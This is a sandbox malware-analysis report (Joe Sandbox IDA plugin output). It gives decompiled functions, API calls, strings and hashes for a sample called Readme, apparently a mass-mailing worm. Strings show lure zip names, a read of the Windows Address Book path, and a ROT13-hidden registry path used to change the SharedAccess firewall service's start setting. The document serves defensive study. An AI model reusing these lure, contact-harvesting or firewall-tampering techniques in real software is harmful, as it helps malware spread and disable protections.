0x0040bd30
0x0040bd33
0x0040bd35
0x0040bd3b
0x0040bd40
0x0040bd43
0x0040bd49
0x0040bd4b
0x0040bcb4
0x0040bcb4
0x0040bcb4
0x0040bcb7
0x0040bcbd
0x0040bcca
0x0040bcd0
0x0040bcd5
0x0040bcda
0x0040bd72
0x0040bd77
0x0040bd77
0x0040bce5
0x0040bd90
0x0040bd95
0x0040bd95
0x0040bceb
0x0040bcf0
0x0040bd56
0x0040bd5a
0x0040bd68
0x0040bd6a
0x0040bd6a
0x0040bcf2
0x0040bcf2
0x0040bcf2
0x0040bcf5
0x0040bcfe
0x0040bd01
0x0040bd04
0x0040bd04
0x0040bd9f
0x0040bdb0
0x0040bdb3
0x0040bdb6
0x0040bdb9
0x0040bdbe
0x0040bdc2
0x0040bdc6
0x0040bdd0
0x0040bdc1
0x0040bdc1
0x0040bdc1
0x0040bdbe
0x00000000

APIs

GetLastError.KERNEL32(?,?,?,00000000,0040A5E0,?,0040915F), ref: 0040BBF3
TlsGetValue.KERNEL32(?,?,?,00000000,0040A5E0,?,0040915F), ref: 0040BBFE
SetLastError.KERNEL32(?,?,?,?,00000000,0040A5E0,?,0040915F), ref: 0040BC0C

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: ErrorLast$Value
String ID:
API String ID: 1883355122-0
Opcode ID: fa13b5d1df785b275ee1be112967064b6d69b0b989222e142ff9d8512929a6cc
Instruction ID: 70379029d47ec5d74f210fe91046701c6fe62c7a006fd99b0e016d118132c0f1
Opcode Fuzzy Hash: fa13b5d1df785b275ee1be112967064b6d69b0b989222e142ff9d8512929a6cc
Instruction Fuzzy Hash: A1315B70A0061A8FCB50EF65CA84A5ABBB4FB44300B0585BED904AB796DB34FD05CBDD

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 9.1, APIs: 6, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E00401000(intOrPtr __ebx, intOrPtr __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr* _v24;
				intOrPtr* _t16;
				intOrPtr* _t27;
				intOrPtr* _t33;
				intOrPtr* _t37;

				_v12 = __ebx;
				_t27 = 0;
				_v8 = __esi;
				_t33 = 0;
				_t16 =  *((intOrPtr*)( *_a4));
				if(_t16 > 0xc0000091) {
					__eflags = _t16 - 0xc0000094;
					if(__eflags == 0) {
						goto L3;
					} else {
						if(__eflags > 0) {
							__eflags = _t16 - 0xc0000096;
							goto L14;
						} else {
							__eflags = _t16 - 0xc0000093;
							if(_t16 == 0xc0000093) {
								goto L2;
							} else {
								return 0;
							}
						}
					}
				} else {
					if(_t16 < 0xc000008d) {
						__eflags = _t16 - 0xc0000005;
						if(_t16 == 0xc0000005) {
							 *_t37 = 0xb;
							_v24 = 0;
							L0040C198();
							__eflags = 0 - 1;
							if(0 == 1) {
								 *_t37 = 0xb;
								_v24 = 1;
								L0040C198();
								goto L6;
							} else {
								__eflags = 0;
								if(0 != 0) {
									 *_t37 = 0xb;
									 *0x00000000();
									goto L6;
								}
							}
						} else {
							__eflags = _t16 - 0xc000001d;
							L14:
							if(__eflags == 0) {
								 *_t37 = 4;
								_v24 = 0;
								L0040C198();
								__eflags = _t16 - 1;
								if(_t16 == 1) {
									 *_t37 = 4;
									_v24 = 1;
									L0040C198();
									goto L6;
								} else {
									__eflags = _t16;
									if(_t16 != 0) {
										 *_t37 = 4;
										 *_t16();
										goto L6;
									}
								}
							}
						}
					} else {
						L2:
						_t33 = 1;
						L3:
						 *_t37 = 8;
						_v24 = 0;
						L0040C198();
						if(_t16 == 1) {
							 *_t37 = 8;
							_v24 = 1;
							L0040C198();
							__eflags = _t33;
							if(_t33 != 0) {
								E0040B000(1);
							}
							goto L6;
						} else {
							if(_t16 != 0) {
								 *_t37 = 8;
								 *_t16();
								L6:
								_t27 = 0xffffffff;
							}
						}
					}
					return _t27;
				}
			}

0x00401006
0x0040100c
0x0040100e
0x00401013
0x00401015
0x0040101c
0x00401061
0x00401066
0x00000000
0x00401068
0x00401068
0x004010b4
0x00000000
0x0040106a
0x0040106a
0x0040106f
0x00000000
0x00401071
0x0040107c
0x0040107c
0x0040106f
0x00401068
0x0040101e
0x00401023
0x00401080
0x00401085
0x004010e2
0x004010eb
0x004010ef
0x004010f4
0x004010f7
0x00401129
0x00401135
0x00401139
0x00000000
0x004010f9
0x004010f9
0x004010fb
0x00401101
0x00401108
0x00000000
0x00401108
0x004010fb
0x00401087
0x00401087
0x0040108c
0x0040108c
0x0040108e
0x00401097
0x0040109b
0x004010a0
0x004010a3
0x0040110f
0x0040111b
0x0040111f
0x00000000
0x004010a5
0x004010a5
0x004010a7
0x004010a9
0x004010b0
0x00000000
0x004010b0
0x004010a7
0x004010a3
0x0040108c
0x00401025
0x00401025
0x00401025
0x0040102a
0x0040102a
0x00401033
0x00401037
0x0040103f
0x004010bb
0x004010c7
0x004010cb
0x004010d0
0x004010d2
0x004010d8
0x004010d8
0x00000000
0x00401041
0x00401043
0x00401045
0x0040104c
0x0040104e
0x0040104e
0x0040104e
0x00401043
0x0040103f
0x0040105e
0x0040105e

APIs

signal.MSVCRT ref: 00401037
signal.MSVCRT ref: 0040109B
signal.MSVCRT ref: 004010CB

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: signal
String ID:
API String ID: 1946981877-0
Opcode ID: 9dd3622f94295c007e8091df12e6935fb1746a3fe3b08565decb20ecfd99f9c6
Instruction ID: 6d904beb62735350cc8560cdbfd164d6d9336f8a3c982fff81a65fa89f770588
Opcode Fuzzy Hash: 9dd3622f94295c007e8091df12e6935fb1746a3fe3b08565decb20ecfd99f9c6
Instruction Fuzzy Hash: BC3125709042449BE720AF69C58032EB6E0BB49314F15893FD9C5EB7E2C67E8DC09B4A

Uniqueness

Uniqueness Score: -1.00%

Function 10001A5B Relevance: 9.1, APIs: 6, Instructions: 89
stringCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E10001A5B(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4, short* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v284;
				signed int _v285;
				signed int _v286;
				void* _v308;
				signed int _v312;
				char _v316;
				short* _v320;
				void* _t45;
				signed int _t46;
				void* _t53;
				signed int _t55;
				void* _t58;
				signed int _t60;
				signed int _t64;
				signed int _t70;
				signed int _t71;
				intOrPtr _t74;
				short* _t77;
				void* _t79;
				intOrPtr* _t80;

				_v16 = __ebx;
				_v12 = __esi;
				_v8 = __edi;
				_t74 = _a4;
				_t77 = _a8;
				_v286 = 0xff;
				_t46 = E1000128D(_t45, _t74, _t77, 2);
				_t71 = 0;
				if(_t46 != 0) {
					_t70 =  *(_t77 + 1) & 0x000000ff;
					_t71 = 0;
					if(((_t46 & 0xffffff00 |  *_t77 != 0x00000001 | 0 | _t70 == 0x00000000) & 0x00000001) == 0) {
						_t53 = E1000128D( &_v284, _t74,  &_v284, _t70 + 1);
						_t71 = 0;
						if(_t53 != 0) {
							_t55 =  *(_t70 +  &_v284) & 0x000000ff;
							_v285 = _t55;
							_t71 = 0;
							if(_t55 != 0) {
								 *(_t70 +  &_v284) = 0;
								_t58 = E1000128D(_v285, _t74, _t77, _v285);
								_t71 = 0;
								if(_t58 != 0) {
									 *((char*)(_t77 + _v285)) = 0;
									_t60 =  &_v284;
									_v312 = _t60;
									_v316 = 0x10006054;
									L10003560();
									_t80 = _t79 - 8;
									if(_t60 == 0) {
										_v320 = _t77;
										 *_t80 = 0x100060c4;
										L10003560();
										_t80 = _t80 - 8;
										_v286 = _v286 &  ~(_t60 & 0xffffff00 | _t60 != 0x00000000);
									}
									 *_t77 = _v286 << 0x00000008 | 0x00000001;
									_v316 = 2;
									_v320 = _t77;
									 *_t80 = _t74;
									_t64 = E10001236(_v286 << 0x00000008 | 0x00000001);
									_t71 = 0;
									if(_t64 != 0) {
										_t71 = (_t64 & 0xffffff00 | _v286 == 0x00000000) & 0x000000ff;
									}
								}
							}
						}
					}
				}
				return _t71;
			}

0x10001a64
0x10001a67
0x10001a6a
0x10001a6d
0x10001a70
0x10001a73
0x10001a89
0x10001a8e
0x10001a95
0x10001a9b
0x10001aac
0x10001ab3
0x10001ace
0x10001ad3
0x10001ada
0x10001ae3
0x10001aeb
0x10001af1
0x10001af8
0x10001b01
0x10001b1b
0x10001b20
0x10001b27
0x10001b34
0x10001b38
0x10001b3e
0x10001b42
0x10001b49
0x10001b4e
0x10001b53
0x10001b55
0x10001b59
0x10001b60
0x10001b65
0x10001b6f
0x10001b6f
0x10001b82
0x10001b85
0x10001b8d
0x10001b91
0x10001b94
0x10001b99
0x10001ba0
0x10001bac
0x10001bac
0x10001ba0
0x10001b27
0x10001af8
0x10001ada
0x10001ab3
0x10001bbd

APIs

sread.SHERVANS ref: 10001A89
sread.SHERVANS ref: 10001ACE
sread.SHERVANS ref: 10001B1B
lstrcmp.KERNEL32 ref: 10001B49
lstrcmp.KERNEL32 ref: 10001B60
swrite.SHERVANS ref: 10001B94

Memory Dump Source

Source File: 00000000.00000002.304069235.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.304063881.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304076424.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304082187.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304097063.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304103368.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304113880.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Readme.jbxd

Similarity

API ID: sread$lstrcmp$swrite
String ID:
API String ID: 1841987066-0
Opcode ID: 50c29eabb491e391b19f89d7d52041d898abba3f9a3e0c212c36fa54c6efb9ac
Instruction ID: 02893088ef83d42b468dfb49456edce95aa81bf5added6d024bd8f99ab7a1a41
Opcode Fuzzy Hash: 50c29eabb491e391b19f89d7d52041d898abba3f9a3e0c212c36fa54c6efb9ac
Instruction Fuzzy Hash: EF316D74D083589EE711DF2485423EEBFEAEF84380F44849ED99897285E738DA85CB52

Uniqueness

Uniqueness Score: -1.00%

Function 0040BC80 Relevance: 9.1, APIs: 6, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E0040BC80(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v20;
				void* _v24;
				intOrPtr _v40;
				intOrPtr _v52;
				void* _t31;
				long _t34;
				void* _t35;
				void* _t36;
				intOrPtr* _t39;
				void* _t41;
				void* _t52;
				intOrPtr _t56;
				intOrPtr _t65;
				intOrPtr* _t67;
				long* _t68;
				intOrPtr* _t69;

				_v8 = __edi;
				_t60 = _a4;
				_v16 = __ebx;
				_v12 = __esi;
				_t63 =  *(_t60 + 0xc);
				if( *(_t60 + 0xc) == 0) {
					 *_t67 = _t60;
					return E0040B740();
				} else {
					_t31 =  *0x418284;
					if(_t31 == 0) {
						E0040B0E0(_t31);
						_t31 =  *0x418284;
					}
					_t49 =  *((intOrPtr*)(_t31 + 0x30));
					if( *((intOrPtr*)(_t31 + 0x30)) < 0) {
						E0040B3B0(_t49, _t63);
						_t31 =  *0x418284;
					}
					if( *((intOrPtr*)(_t31 + 0x30)) != 0) {
						_t34 = GetLastError();
						 *_t67 =  *((intOrPtr*)(_t31 + 0x2c));
						_t63 = _t34;
						_t35 = TlsGetValue(??);
						_t68 = _t67 - 4;
						 *_t68 = _t34;
						SetLastError(??);
						_t36 = _t35;
						_t67 = _t68 - 4;
					} else {
						_t36 =  *(_t31 + 0x28);
					}
					_v20 = _t36;
					_v24 = _t36;
					if(E0040B8D0(_t60,  &_v24) == 7) {
						_t41 =  *0x418284;
						_t52 = _v24;
						if(_t41 == 0) {
							E0040B0E0(_t41);
							_t41 =  *0x418284;
						}
						if( *((intOrPtr*)(_t41 + 0x30)) < 0) {
							E0040B3B0(_t52, _t63);
							_t41 =  *0x418284;
						}
						_t60 =  *((intOrPtr*)(_t41 + 0x30));
						if( *((intOrPtr*)(_t41 + 0x30)) != 0) {
							_v40 = _t52;
							 *_t67 =  *((intOrPtr*)(_t41 + 0x2c));
							if(TlsSetValue(??, ??) == 0) {
								GetLastError();
							}
						} else {
							 *((intOrPtr*)(_t41 + 0x28)) = _t52;
						}
						_t31 = _v24;
						_t65 =  *((intOrPtr*)(_t31 + 0x20));
						_t67 =  *((intOrPtr*)(_t31 + 0x28));
						goto __ecx;
					}
					abort();
					_push(_t65);
					_t69 = _t67 - 8;
					_t56 = _v40;
					_t39 =  *((intOrPtr*)(_t56 + 8));
					if(_t39 != 0) {
						_v52 = _t56;
						 *_t69 = 1;
						return  *_t39();
					} else {
						return _t39;
					}
				}
			}

0x0040bc86
0x0040bc89
0x0040bc8c
0x0040bc8f
0x0040bc92
0x0040bc97
0x0040bd12
0x0040bd26
0x0040bc99
0x0040bc99
0x0040bca0
0x0040bd06
0x0040bd0b
0x0040bd0b
0x0040bca2
0x0040bca7
0x0040bd81
0x0040bd86
0x0040bd86
0x0040bcb2
0x0040bd2a
0x0040bd30
0x0040bd33
0x0040bd35
0x0040bd3b
0x0040bd40
0x0040bd43
0x0040bd49
0x0040bd4b
0x0040bcb4
0x0040bcb4
0x0040bcb4
0x0040bcb7
0x0040bcbd
0x0040bcca
0x0040bcd0
0x0040bcd5
0x0040bcda
0x0040bd72
0x0040bd77
0x0040bd77
0x0040bce5
0x0040bd90
0x0040bd95
0x0040bd95
0x0040bceb
0x0040bcf0
0x0040bd56
0x0040bd5a
0x0040bd68
0x0040bd6a
0x0040bd6a
0x0040bcf2
0x0040bcf2
0x0040bcf2
0x0040bcf5
0x0040bcfe
0x0040bd01
0x0040bd04
0x0040bd04
0x0040bd9f
0x0040bdb0
0x0040bdb3
0x0040bdb6
0x0040bdb9
0x0040bdbe
0x0040bdc2
0x0040bdc6
0x0040bdd0
0x0040bdc1
0x0040bdc1
0x0040bdc1
0x0040bdbe

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,0040A5BE,?,?,?,?,?,0040920F), ref: 0040BD2A
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,0040A5BE,?,?,?,?,?,0040920F), ref: 0040BD35
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,0040A5BE), ref: 0040BD43
TlsSetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0040A5BE), ref: 0040BD5D
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,0040A5BE), ref: 0040BD6A
abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,0040A5BE), ref: 0040BD9F

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: ErrorLast$Value$abort
String ID:
API String ID: 2626461348-0
Opcode ID: d44fb8144051525f46a2ddd0a77b2159513e5a59cadc495b3667b9b5871e9868
Instruction ID: 54ad4b7b80f31364e908b692a5ee0ad386bd410343df76c18df6e0f8c4ff5425
Opcode Fuzzy Hash: d44fb8144051525f46a2ddd0a77b2159513e5a59cadc495b3667b9b5871e9868
Instruction Fuzzy Hash: A0312A70A04609CFDB40EF65D680AAAB7B4FF48300B1585BED855AB391DB34AD01CBDE

Uniqueness

Uniqueness Score: -1.00%

Function 00402A73 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 64stringsleepCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32 ref: 00402A87

Part of subcall function 00404EAE: GetTickCount.KERNEL32 ref: 00404EB8
Part of subcall function 00404EAE: srand.MSVCRT ref: 00404EC0
Part of subcall function 00404EAE: rand.MSVCRT ref: 00404EC5

lstrcat.KERNEL32 ref: 00402AAF
lstrcat.KERNEL32 ref: 00402AD1
lstrcat.KERNEL32 ref: 00402AEB
Sleep.KERNEL32 ref: 00402EC5
lstrcat.KERNEL32 ref: 00402B10

Part of subcall function 00404F0A: GetModuleHandleA.KERNEL32 ref: 00404F27
Part of subcall function 00404F0A: LoadLibraryA.KERNEL32 ref: 00404F41
Part of subcall function 00404F0A: InternetGetConnectedState.WININET ref: 00404F6B

Strings

Happy_birthday_to_you.zip, xrefs: 00402B05

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: lstrcat$ConnectedCountHandleInternetLibraryLoadModuleSleepStateTickrandsrand
String ID: Happy_birthday_to_you.zip
API String ID: 1562643418-1870604427
Opcode ID: ab93de260d9d7b3f63fc38cf511f9f6f11fd8cbf9b2553f54f0ef4a6ba202e59
Instruction ID: cc83420afc5f1d077a3f5b7fbaa549a80263fd77f6117133aa0d2265757cdded
Opcode Fuzzy Hash: ab93de260d9d7b3f63fc38cf511f9f6f11fd8cbf9b2553f54f0ef4a6ba202e59
Instruction Fuzzy Hash: 3C21FF759043048BC710EF64D98169EBBF0EF84314F40897FE584A7341EB389698CF96

Uniqueness

Uniqueness Score: -1.00%

Function 004029C9 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 64stringsleepCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32 ref: 004029DD

Part of subcall function 00404EAE: GetTickCount.KERNEL32 ref: 00404EB8
Part of subcall function 00404EAE: srand.MSVCRT ref: 00404EC0
Part of subcall function 00404EAE: rand.MSVCRT ref: 00404EC5

lstrcat.KERNEL32 ref: 00402A05
lstrcat.KERNEL32 ref: 00402A27
lstrcat.KERNEL32 ref: 00402A41
Sleep.KERNEL32 ref: 00402EC5
lstrcat.KERNEL32 ref: 00402A66

Part of subcall function 00404F0A: GetModuleHandleA.KERNEL32 ref: 00404F27
Part of subcall function 00404F0A: LoadLibraryA.KERNEL32 ref: 00404F41
Part of subcall function 00404F0A: InternetGetConnectedState.WININET ref: 00404F6B

Strings

I_Love_You.zip, xrefs: 00402A5B

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: lstrcat$ConnectedCountHandleInternetLibraryLoadModuleSleepStateTickrandsrand
String ID: I_Love_You.zip
API String ID: 1562643418-69349870
Opcode ID: 247b01801a7c8732d276e468bcc8b3b88bf3ed5fd2371333381e1382a1eb55e6
Instruction ID: f9bbb920bae34a53852b7a8ae3bd8492a159d249183d5996932f43f3eb41e795
Opcode Fuzzy Hash: 247b01801a7c8732d276e468bcc8b3b88bf3ed5fd2371333381e1382a1eb55e6
Instruction Fuzzy Hash: 3A21DF759043048BCB11EF64D98169EBBF4EF84314F40897FE585A7381EB389698CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00401B7E Relevance: 9.1, APIs: 6, Instructions: 54fileCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00401B93
fopen.MSVCRT ref: 00401BA8
realloc.MSVCRT ref: 00401BCF
fread.MSVCRT ref: 00401BF5
??3@YAXPAX@Z.MSVCRT ref: 00401C14
fclose.MSVCRT ref: 00401C1C

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: ??3@fclosefopenfreadmallocrealloc
String ID:
API String ID: 418953348-0
Opcode ID: cd82c47d2a0d14179ee5ff6a2821234b899268957919a795133ff3fc6cf18751
Instruction ID: 75d7d26d9218dbdf86978dcb23e5f4fbbd0c24693f44c664e0b05ab087c45b19
Opcode Fuzzy Hash: cd82c47d2a0d14179ee5ff6a2821234b899268957919a795133ff3fc6cf18751
Instruction Fuzzy Hash: 6E115A705087049BD300AF2AC4C475EFAE4EF44358F05893EE8C8AB3D2E77D98458B9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040B040 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 46COMMON

Download Yara Rule

APIs

GetAtomNameA.KERNEL32 ref: 0040B05F

Part of subcall function 0040C130: fprintf.MSVCRT ref: 0040C15D
Part of subcall function 0040C130: fflush.MSVCRT ref: 0040C16D
Part of subcall function 0040C130: abort.MSVCRT(?,?,?,?,?,0040B0BE), ref: 0040C172

Strings

../../gcc/gcc/config/i386/w32-shared-ptr.c, xrefs: 0040B0B0
GetAtomNameA (atom, s, sizeof(s)) != 0, xrefs: 0040B0BE
w32_sharedptr->size == sizeof(W32_EH_SHARED), xrefs: 0040B097
%s:%u: failed assertion `%s', xrefs: 0040B0A9

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: AtomNameabortfflushfprintf
String ID: %s:%u: failed assertion `%s'$../../gcc/gcc/config/i386/w32-shared-ptr.c$GetAtomNameA (atom, s, sizeof(s)) != 0$w32_sharedptr->size == sizeof(W32_EH_SHARED)
API String ID: 2513348418-2696369246
Opcode ID: 055b4f41610cf93c2adfb2054d8dbcce5caf57ff53a8ecc1339ea75a1b6def78
Instruction ID: b50ba6c1e0c48ccbfb779697640dc8edf1bacce25001569c98304d8c7ef809a2
Opcode Fuzzy Hash: 055b4f41610cf93c2adfb2054d8dbcce5caf57ff53a8ecc1339ea75a1b6def78
Instruction Fuzzy Hash: E50152B0A043459BCB049F65C49426BBFE0EB98304F10C83FD999AB785D37DD8849B8E

Uniqueness

Uniqueness Score: -1.00%

Function 0040396E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 004039A1
memset.MSVCRT ref: 004039CA
RegQueryValueExA.ADVAPI32 ref: 00403A08
RegCloseKey.ADVAPI32 ref: 00403A19

Part of subcall function 00403390: CreateFileA.KERNEL32 ref: 004033D2
Part of subcall function 00403390: GetFileSize.KERNEL32 ref: 00403409
Part of subcall function 00403390: CreateFileMappingA.KERNEL32 ref: 00403448
Part of subcall function 00403390: CloseHandle.KERNEL32 ref: 0040346E

Strings

Software\Microsoft\WAB\WAB4\Wab File Name, xrefs: 00403992

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: File$CloseCreate$HandleMappingOpenQuerySizeValuememset
String ID: Software\Microsoft\WAB\WAB4\Wab File Name
API String ID: 1684987478-619501371
Opcode ID: 693d4b3274321ff71e2d42a915d5b2b45d06d87ff800bc67c20065d722b332b6
Instruction ID: fb9affdcd003a3e7f59b61beff737c010c0f055de032600ad664b438ea4410d9
Opcode Fuzzy Hash: 693d4b3274321ff71e2d42a915d5b2b45d06d87ff800bc67c20065d722b332b6
Instruction Fuzzy Hash: EB119DB0804755DFD710EF25C98939FBBF4BB44348F40896EE88867381D7B996888F96

Uniqueness

Uniqueness Score: -1.00%

Function 00403E78 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00403EC7
RegSetValueExA.ADVAPI32 ref: 00403F06
RegCloseKey.ADVAPI32 ref: 00403F17

Strings

Flfgrz\PheeragPbagebyFrg\Freivprf\FunerqNpprff, xrefs: 00403E8C
Start, xrefs: 00403EF5

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
